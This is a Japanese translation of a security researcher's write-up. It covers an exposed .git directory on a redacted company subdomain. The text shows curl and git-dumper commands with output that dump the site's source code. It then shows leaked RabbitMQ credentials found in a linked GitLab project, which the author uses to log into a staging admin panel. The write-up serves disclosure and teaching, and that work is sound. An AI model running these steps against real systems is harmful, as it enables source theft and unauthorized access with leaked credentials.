ソース:
脆弱性:.git
訳:
実際、その時点ではバグハンティングは行いませんが、他のレポートの PoC (概念実証) スクリプトをクラウドに配置/ホストするためのホスティング ソリューションを探すようにしています。
この会社 X で検索中に、そのサブドメインの 1 つでホスティング ソリューションを開きます https://subdomain.REDACTED.com/
、突然 Chrome ブラウザに次の通知が表示されました。 .git
ディレクトリが公開されました。
それを証明するには、 .git/
ディレクトリにアクセスできます。
使用できます。 curl
指示:
$ curl https://REDACTED.com/.git/config
[fetch]
recurseSubmodules = false
[http "https://gitlab.REDACTED.com"]
sslCAInfo = /home/gitlab-runner/builds/b8dc6653/0/dev/REDACTED.tmp/CI_SERVER_TLS_CA_FILE
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://gitlab-ci-token:REDACTED.REDACTED.com/dev/REDACTED.git
fetch = +refs/heads/*:refs/remotes/origin/*
再現する手順
完全なソース コードを取得するには、git-dumper などのツールを使用できます。
[1] インストールする git-dumper
道具
[2] 次のコマンドを実行してソースコードをダウンロードします。
$ git-dumper https://REDACTED.com/.git output/
[-] Testing https://REDACTED.com/.git/HEAD [200]
[-] Testing https://REDACTED.com/.git/ [301]
[-] Fetching common files
[-] Fetching https://REDACTED.com/.git/COMMIT_EDITMSG [404]
[-] https://REDACTED.com/.git/COMMIT_EDITMSG responded with status code 404
[-] Fetching https://REDACTED.com/.git/description [404]
[-] Fetching https://REDACTED.com/.gitignore [404]
[-] https://REDACTED.com/.gitignore responded with status code 404
[-] https://REDACTED.com/.git/description responded with status code 404
…
[-] Finding refs/
[-] Fetching https://REDACTED.com/.git/HEAD [200]
[-] Fetching https://REDACTED.com/.git/ORIG_HEAD [404]
[-] Fetching https://REDACTED.com/.git/FETCH_HEAD [200]
[-] https://REDACTED.com/.git/ORIG_HEAD responded with status code 404
[-] Fetching https://REDACTED.com/.git/logs/refs/heads/master [404]
[-] https://REDACTED.com/.git/logs/refs/heads/master responded with status code 404
[-] Fetching https://REDACTED.com/.git/logs/refs/stash [404]
[-] https://REDACTED.com/.git/logs/refs/stash responded with status code 404
[-] Fetching https://REDACTED.com/.git/logs/refs/remotes/origin/master [200]
[-] Fetching https://REDACTED.com/.git/logs/HEAD [200]
…
[-] Fetching https://REDACTED.com/.git/objects/5d/9e30841d5e824ea6f73eb28b9a545253de829e [404]
[-] Fetching https://REDACTED.com/.git/objects/33/07be62f91262e602f6efa4927c0937208bcd13 [404]
[-] https://REDACTED.com/.git/objects/33/07be62f91262e602f6efa4927c0937208bcd13 responded with status code 404
[-] https://REDACTED.com/.git/objects/5d/9e30841d5e824ea6f73eb28b9a545253de829e responded with status code 404
[-] Fetching https://REDACTED.com/.git/objects/95/7188f1abdb63b7bd22c402f0c709774a945d08 [404]
[-] https://REDACTED.com/.git/objects/95/7188f1abdb63b7bd22c402f0c709774a945d08 responded with status code 404
[-] Running git checkout .
[3] ダウンロードを確実に行うには .git
フォルダーが有効であれば、実行できます git log
指示。
$ cd output/
$ git log
commit 987fa867dc39aba5afe11801040967d31a6ece77 (HEAD, origin/master)
Author: REDACTED <REDACTED@REDACTED.co.id>
Date: Tue Mar 2 14:21:53 2021 +0700
style: add meta tag og and twitter
[4] 次に、ダウンロードしたソースコードの構造を確認します。 tree
指示。
$ tree
.
├── assets
│ ├── css
│ ├── img
│ │ ├── fitur
│ │ ├── harga
│ │ ├── header
│ │ │ └── icon-bg
│ │ ├── ikhtisar
│ │ └── kh-white-bg.png
│ ├── js
│ └── sass
│ ├── base
│ ├── components
│ ├── elements
│ ├── form
│ ├── grid
│ ├── helpers
│ ├── layout
│ └── utilities
└── index.html
エクスプロイト後
次に、git/config
ファイルにリストされている Gitlab アドレスを調べてみました、つまり https://gitlab.REDACTED.com/ 。
[1] プロジェクトを表示するには、次のリンクにアクセスします。 https://gitlab.REDACTED.com/explore/projects
.
[2] 次のファイルで認証情報の漏洩を発見しました https://gitlab.REDACTED.com/user/ck-rmq/-/blob/5a0aba8d59ea2c3a2127f9d49e05026772a54d3c/config.php
define("RABBITMQ_HOST", "stage.REDACTED.com");
define("RABBITMQ_PORT", 5672);
define("RABBITMQ_USERNAME", "REDACTED");
define("RABBITMQ_PASSWORD", "REDACTED");
[3] 資格情報が有効であることを証明するために、RabbitMQ Web 管理ページにアクセスしてみました http://stage.REDACTED.com:15672/
上記の認証情報を入力した後、システムに正常にアクセスできました。
ほなほな。